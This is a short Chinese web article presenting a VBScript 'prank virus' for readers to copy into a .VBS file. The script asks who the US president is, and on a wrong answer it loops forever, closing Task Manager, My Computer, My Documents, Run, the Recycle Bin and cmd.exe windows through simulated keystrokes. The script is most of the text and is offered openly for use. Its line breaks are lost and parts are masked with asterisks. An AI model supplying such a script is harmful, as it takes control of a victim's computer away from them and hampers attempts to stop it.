(资料图片仅供参考)

1、复制以下内容, 保存为 .VBS 文件dim gb,jjgb=0set shell=createobject("***.shell")DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统"&_"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")IF DA="奥巴玛" THENMSGBOX "程序即将结束",,"回答正确!"***.quitEND IFMSGBOX "作为惩罚, 你将不能运行以下程序"&VBCRLF&"我的"&_"电脑 , 我的文档 ",,"回答错误"do***.sleep 100jj=***.appactivate("Windows 任务管理器")***.sleep 50if jj then ***.sendkeys "%fx"dn=***.appactivate("我的电脑")***.sleep 100IF DN then ***.sendkeys "%{f4}"wd=***.appactivate("我的文档")***.sleep 50IF WD THEN ***.sendkeys "%fC"RX=***.appactivate("运行")IF RX THEN ***.sendkeys "%{f4}"hs=***.appactivate("回收站")***.sleep 50IF HS THEN ***.sendkeys "%fc"cmd=***.appactivate("c:windowssystem32cmd.exe")***.sleep 50IF cmd THEN ***.sendkeys "exit{enter}"GB=***.appactivate("PE格式.txt - 记事本")***.sleep 50IF GB THEN ***.quitloo。

本文就为大家分享到这里，希望小伙伴们会喜欢。